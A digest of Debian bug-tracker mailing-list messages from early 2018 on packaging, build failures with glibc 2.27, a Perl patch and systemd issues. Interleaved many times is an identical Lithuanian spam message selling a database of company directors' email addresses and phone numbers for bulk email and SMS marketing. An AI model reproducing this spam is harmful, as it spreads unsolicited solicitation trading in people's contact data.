>  libc6-amd64:i386 : Conflicts: libc6-i386 but 2.26-6 is to be installed
>  libc6-i386 : Conflicts: libc6-amd64:i386 but 2.26-6 is to be installed
> E: Unable to correct problems, you have held broken packages.
> 
> How can this be resolved?

If you want to install llvm for i386 you also need to install gcc for
i386. The other option is to not install gcc-multilib and g++-multilib.

If that solution is not acceptable for you, here are the few other
alternatives I can think of:
- report a bug against llvm to split libclang-common-5.0-dev into two
  parts, one providing the native support, the other one the multilib
  support, just like it is done in GCC.
- report a bug against llvm to support a multiarch alternative to the
  64-bit libraries. That means for example changing the lib64gcc1:i386
  dependency into lib64gcc1:i386 | libgcc1:amd64. This might require
  code change to look into both multiarch and multilib paths.
- report a bug against gcc to support a multiarch alternative to the
  32-bit libraries.
- report a bug against gcc-7-cross to add an i386 cross-compiler on
  amd64.

There is nothing we can do on the glibc side.

Aurelien

-- 
Aurelien Jarno  GPG: 4096R/1DDD8C9B
aurel...@aurel32.net http://www.aurel32.net

Bug#757261: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890815: libtext-dhcpleases-perl: vendor class identifier attribute should be handler

[grin]

Package: libtext-dhcpleases-perl
Version: 1.0-2
Severity: normal
Tags: upstream patch

Patch to handle vendor class attribute attached.
--- Text/DHCPLeases/Object.pm.orig  2015-06-06 10:59:27.0 +0200
+++ Text/DHCPLeases/Object.pm   2018-02-19 10:16:47.612390562 +0100
@@ -75,7 +75,8 @@
 'mclt'=> '$',
 'ddns_rev_name'   => '$',
 'ddns_fwd_name'   => '$',
-'ddns_txt'=> '$'
+'ddns_txt'=> '$',
+'vendor_class_identifier' => '$',
 );
 
 =head1 CLASS METHODS
@@ -117,6 +118,7 @@
 dns_rev_name
 ddns_fwd_name
 ddns_txt
+vendor_class_identifier
   Returns:
 New Text::DHCPLeases::Object object
   Examples:
@@ -149,6 +151,7 @@
   hardware ethernet 00:11:85:5d:4e:11;
   uid "\001\000\021\205]Nh";
   client-hostname "blah";
+  set vendor-class-identifier = "Tesla";
 }';
 
 my $lease_data = Text::DHCPLeases::Lease->parse($text);
@@ -238,6 +241,8 @@
$obj{ddns_fwd_name} = $1;
}elsif (/set ddns-txt = \"(.*)\";/o){
$obj{ddns_txt} = $1;
+}elsif (/set vendor-class-identifier = \"(.*)\";/o){
+$obj{vendor_class_identifier} = $1;
}else{
carp "Text::DHCPLeases::Object::parse Error: Statement not 
recognized: '$_'\n";
}
@@ -287,6 +292,7 @@
 $out .= sprintf("  set ddns-rev-name = \"%s\";\n", $self->ddns_rev_name) 
if $self->ddns_rev_name;
 $out .= sprintf("  set ddns-txt = \"%s\";\n", $self->ddns_txt) if 
$self->ddns_txt;
 $out .= sprintf("  set ddns-fwd-name = \"%s\";\n", $self->ddns_fwd_name) 
if $self->ddns_fwd_name;
+$out .= sprintf("  set vendor-class-identifier = \"%s\";\n", 
$self->vendor_class_identifier) if $self->vendor_class_identifier;
 $out .= sprintf("  fixed-address %s;\n", $self->fixed_address) if 
$self->fixed_address;
 $out .= sprintf("  abandoned;\n") if $self->abandoned;
 $out .= sprintf("  deleted;\n") if $self->abandoned;

Bug#757260: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#848533: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890722: flatpack-builder: FTBFS with glibc 2.27: error: static declaration of 'memfd_create' follows non-static declaration

[Simon McVittie]

Control: forwarded -1 https://github.com/GNOME/libglnx/pull/103
Control: tags -1 + fixed-upstream pending

On Sat, 17 Feb 2018 at 23:57:53 +0100, Aurelien Jarno wrote:
> flatpack-builder 0.10.8-1 fails to build with glibc 2.27
> (2.27-0experimental0 from experimental):
> | ./libglnx/glnx-missing-syscall.h:105:19: error: static declaration of 
> 'memfd_create' follows non-static declaration
> 
> glibc 2.27 added support for memfd_create. Unfortunately
> flatpak-builder, or rather the included libglnx library, also has such a
> function to wrap the corresponding syscall. It correctly tries to detect
> it in the configure script to disabled the wrapper in case glibc
> provides it. However it doesn't work due to a missing include. The
> attached patch fixes that.

Thanks, I've sent this upstream to libglnx (where it was accepted)
and applied it in Debian. Upstream is in the process of releasing
flatpak-builder 0.10.9 anyway, with the updated libglnx included, so
I'll probably wait for that version instead of uploading with your patch.

Regards,
smcv

Bug#810929: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890816: ITP: autovpn -- Connect to a VPN in a country of your choice

[Michael Meskes]

Package: wnpp
Severity: wishlist
Owner: Michael Meskes 

* Package name: autovpn
  Version : 0.0~git20170129.72dd7f6-1
  Upstream Author : Adhityaa C 
* URL : https://github.com/adtac/autovpn
* License : GPL V3
  Programming Lang: Go
  Description : Connect to a VPN in a country of your choice

autovpn is a tool to automatically connect you to a random VPN
in a country of your choice. It uses openvpn to connect you to a server
obtained from VPN Gate (http://www.vpngate.net/en/).

A small tool that comes handy in particular for people who travel a lot. Will
be maintained in the go-team.

Michael

Bug#661891: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890721: flatpak: FTBFS with glibc 2.27: error: static declaration of 'copy_file_range' follows non-static declaration

[Simon McVittie]

Control: tags -1 + confirmed moreinfo

On Sat, 17 Feb 2018 at 23:57:48 +0100, Aurelien Jarno wrote:
> flatpak 0.10.3-1 (and version 0.10.4-1 currently in sid) fails to build
> with glibc 2.27 (2.27-0experimental0 from experimental)

Did you test 0.10.4-1 unsuccessfully, or is that based on extrapolation
from 0.10.3-1? I can confirm that 0.10.3-1 FTBFS in the way you described,
but 0.10.4-1 builds OK for me with glibc 2.27-0experimental0.

> glibc 2.27 added support for copy_file_range. Unfortunately flatpak,
> or rather the included libglnx library, also has such a function to
> wrap the corresponding syscall.
> 
> The issue has already been fixed upstream in commit 3e16d4ef with an
> update of the libglnx submodule. The corresponding libglnx commit is
> 4577dc82.

flatpak 0.11.0 has the upstream fix that you described, so this is
certainly fixed in experimental.

flatpak 0.10.4 has commit 084164a20ad2ea5a02ed7e9a915cb3539a8828ba
which is meant to fix copy_file_range detection with the older libglnx
submodule: . So I believe
this should also be fixed in unstable already?

Thanks,
smcv

Bug#844540: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890817: kernel-package: make-kpkg stalls indefinitely on linux-4.16-rc* in silentoldconfig stage

[Sander Eikelenboom]

Package: kernel-package
Version: 13.018+nmu1
Severity: important

L.S.,

make-kpkg currently stalls indefinitely on linux-4.16-rc* in the 
silentoldconfig stage
(somewhere before asking the kconfig questions which are new).

I have bisected it and that leads to linux kernel commit
d2a04648a5dbc3d1d043b35257364f0197d4d868 "kconfig: remove check_stdin()".

I also reported this upstream on LKML, see thread:
http://lkml.iu.edu/hypermail/linux/kernel/1802.1/03207.html
but the package maintainers answers are awaited for by the kernel developers,
so please chime in on LKML to work out a fix in either the kernel or make-kpkg.

--
Sander


-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (900, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.16.0-rc2-t440s-20180219 (SMP w/4 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8), 
LANGUAGE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages kernel-package depends on:
ii  bc   1.07.1-1
ii  binutils 2.30-4
ii  build-essential  12.4
ii  bzip21.0.6-8.1
ii  dpkg-dev 1.19.0.5
ii  file 1:5.32-1
ii  gettext  0.19.8.1-4
ii  kmod 25-1
ii  po-debconf   1.0.20
ii  xmlto0.0.28-2
ii  xz-utils [lzma]  5.2.2-1.3

Versions of packages kernel-package recommends:
ii  cpio   2.12+dfsg-6
ii  docbook-utils  0.6.14-3.3
ii  kernel-common  13.018+nmu1
pn  uboot-mkimage  

Versions of packages kernel-package suggests:
ii  libncurses5-dev [libncurses-dev]  6.0+20171125-1
pn  linux-source  

-- Configuration Files:
/etc/kernel-pkg.conf changed [not included]

-- no debconf information

Bug#887127: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#886124: python3-distutils, python3-lib2to3: installed files not cleaned up on removal

[Matthias Klose]

On 14.02.2018 18:37, Simon McVittie wrote:
> Control: tags -1 + patch
> 
> On Tue, 02 Jan 2018 at 15:07:52 +, Simon McVittie wrote:
>> Expected result: all installed files are cleaned up by the time the
>> Python packages have been purged
>>
>> Actual result:
>>   /usr/lib/python3.6/distutils/   owned by: python3-distutils
> 
> Please consider applying the attached patch. I assumed you're deliberately
> not using dh_python3 (to avoid a circular dependency or some reason like
> that?) and NIH'd it, but if switching to dh_python3 would be acceptable
> and straightforward, that would probably also be a good solution.

no, the core packages should not rely on dh_python3.

> (It would also be great if you could mention in d/README.source why this
> package isn't using dh_python3, so that future contributors don't have
> to guess.)
> 
> Thanks,
> smcv
> 

I don't like the patch because it looks up things for removal which are outside
the package.  I'll update it to only remove what is shipped in the package.

Bug#784203: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#889608: Continuing to get core dumps with man-db

[Colin Watson]

On Sun, Feb 18, 2018 at 07:22:01PM -0500, John Sivak wrote:
> On 02/18/2018 04:50 PM, Colin Watson wrote:
> > Any information at all would be good. :-)  Could you start by running
> > the relevant man command line under "strace -f -o man.trace -s 1024" and
> > attaching the resulting man.trace file?
> 
> Attached is the trace for the command "strace -f -o man.trace -s 1024
> man man".

(For the record, this is entirely unrelated to the original report
#889608.)

Do you have an unusual libc or a modified libpipeline or something?  The
sequence of system calls that your trace shows at the point where
libpipeline should be calling execvp for nroff doesn't correspond to any
libc implementation I can find, and the failure comes when it tries to
open a Unix-domain socket in the middle of the execvp sequence which is
just weird.

-- 
Colin Watson   [cjwat...@debian.org]

Bug#890818: Please package latest kexec-tools 2.0.16

[Thadeu Lima de Souza Cascardo]

Package: kexec-tools
Version: 1:2.0.15-1
Severity: important

Some platforms on newer kernels may require a new kexec-tools. Please,
update it.

If you would like me to do the work and upload it, either as an NMU or
as a new co-maintainer (Uploader), let me know.

Thank you very much.
Cascardo.

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'unstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386, armhf

Kernel: Linux 4.14.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=pt_BR.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages kexec-tools depends on:
ii  debconf [debconf-2.0]  1.5.65
ii  libc6  2.26-6
ii  lsb-base   9.20170808
ii  zlib1g 1:1.2.8.dfsg-5

kexec-tools recommends no packages.

kexec-tools suggests no packages.

-- debconf information:
  kexec-tools/use_grub_config: false
* kexec-tools/load_kexec: true

Bug#884973: tp-smapi-dkms: tp-smapi doesn't build for 4.15.0-rc?

[Elimar Riesebieter]

* Evgeni Golov  [2017-12-22 12:34 +0100]:

> control: severity -1 important
> 
> On Fri, Dec 22, 2017 at 10:03:17AM +0100, Elimar Riesebieter wrote:
> > Package: tp-smapi-dkms
> > Version: 0.42-1
> > Severity: serious
> > Justification: fails to build from source
> 
> Nope. 4.15 is not in Debian (not even experimental), so it can't be serious.

4.15 has been arrived in sid..

Elimar
-- 
  "Talking much about oneself can also
   be a means to conceal oneself."
 -Friedrich Nietzsche

Bug#698062: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890382: RFS: libbusiness-isin-perl/0.20-1 [ITP]

[Dominique Dumont]

On Wednesday, 14 February 2018 10:30:10 CET Laurent Baillet wrote:
> I am looking for a sponsor for my package "libbusiness-isin-perl"
> 
>  * Package name: libbusiness-isin-perl
>Version : 0.20-1
>Upstream Author : David Chan 
>  * URL : https://metacpan.org/release/Business-ISIN
>  * License : GPL-1+ or Artistic
>Section : perl

Would you mind maintaining this package within Debian perl packaging team [1]?
(This would make finding sponsors much easier)

All the best

[1] https://wiki.debian.org/Teams/DebianPerlGroup

-- 
 https://github.com/dod38fr/   -o- http://search.cpan.org/~ddumont/
http://ddumont.wordpress.com/  -o-   irc: dod at irc.debian.org

Bug#890265: systemd: journalctl compiled without pattern matching support

[Michael Biebl]

Am 12.02.2018 um 18:02 schrieb Calum Mackay:
> Package: systemd
> Version: 237-2
> Severity: normal
> 
> Dear Maintainer,
> 
> The -g/--grep option was recently added to the man page, but:
> 
>   $ journalctl --grep=blah
>   Compiled without pattern matching support
> 
> this could be a man page bug, of course, although it's a useful feature.

As the message says, systemd has been compiled without pattern matching
support. This is deliberate, as this would required linking against
pcre2, which would basically make this library mandatory on every
system. That's why I hesitated to enable that feature.





-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#339022: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#818071: mcabber: Weird bug/freeze when using PgUp/PgDwn

[W. Martin Borgert]

Dear eingousef, could you please check whether the problems with
PageUp/PageDown are still present in version 1.1.0-1 and comment
here on this bug report? Many thanks!

Bug#890095: systemd: Failed to start network time synchronization

[Michael Biebl]

Control: tags -1 + moreinfo

On Sun, 11 Feb 2018 03:38:51 -0200 Carlos Donizete Froes
 wrote:
> Package: systemd
> Version: 236-3
> Severity: normal
> 
